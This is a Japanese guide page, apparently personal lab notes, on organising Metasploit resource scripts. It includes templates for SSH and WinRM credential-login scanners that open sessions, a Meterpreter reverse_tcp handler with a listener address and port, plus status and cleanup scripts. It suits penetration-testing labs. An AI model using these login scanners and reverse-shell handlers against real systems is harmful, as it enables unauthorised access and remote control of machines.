リソーススクリプト
繰り返し使う接続準備を .rc に書き、resource か msfconsole -r で読み込みます。資格情報や一時的なセッション ID はスクリプト本体に入れません。
~/lab/msf/rc/├── ssh_login.prompt.rc├── winrm_login.prompt.rc├── handler_windows_meterpreter_reverse.rc├── handler_windows_meterpreter_bind.rc├── handler_windows_shell_bind.rc├── shell_to_meterpreter.rc├── status.rc└── cleanup.rcrc/: 毎回同じ接続準備。Git 管理する。profiles/*.local.rc: 対象ごとのsetg。Git 管理しない。
起動時にプロファイルを読みます。
msfconsole -q -r ~/lab/msf/profiles/target.local.rc起動済みの msfconsole では、必要なスクリプトだけを読み込みます。
resource ~/lab/msf/rc/status.rcresource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rcモジュール選択までを .rc に書き、資格情報は実行時引数で渡すパターンです。
resource ~/lab/msf/rc/ssh_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l.rc 自体は複数行で読みやすく書き、貼り付け例だけ 1 行にします。
テンプレート例
Section titled “テンプレート例”SSH ログイン準備
Section titled “SSH ログイン準備”rc/ssh_login.prompt.rc:
use auxiliary/scanner/ssh/ssh_loginset STOP_ON_SUCCESS trueset CreateSession trueshow optionsWinRM ログイン準備
Section titled “WinRM ログイン準備”rc/winrm_login.prompt.rc:
use auxiliary/scanner/winrm/winrm_loginset RPORT 5985set DOMAIN .set CreateSession trueshow optionsリバース接続用の Meterpreter ハンドラ
Section titled “リバース接続用の Meterpreter ハンドラ”rc/handler_windows_meterpreter_reverse.rc:
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset ExitOnSession falserun -jsessions -lLHOST / LPORT はプロファイルの setg を使う想定です。値を変えたいときは実行時に上書きします。
resource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rc# またはuse exploit/multi/handler; run -j verbose=true payload=windows/x64/meterpreter/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=false状態確認と後片付け
Section titled “状態確認と後片付け”rc/status.rc:
db_statusworkspacesessions -ljobs -lroute printhostsservicescredslootrc/cleanup.rc(実行前に影響を確認):
jobs -ljobs -Kroute flushspool offjobs -K はすべてのバックグラウンドジョブを止めます。
- 1 つの
.rcに「接続準備」だけを置く。列挙や破壊的操作は一手ずつ判断する。 - パスワード、鍵ファイルやチケットのパスはプロファイルにも
.rcにも入れない。 - セッション ID は毎回変わるのでスクリプトに固定しない。
sessions -lで確認してから渡す。 - フレームワーク同梱の参考例は
packages/metasploit-framework/scripts/resource/にある。検証環境用テンプレートは短く保つ。 - 同じ操作を何度も打つなら、まず
.rc化してから alias や外部メモへ展開する。

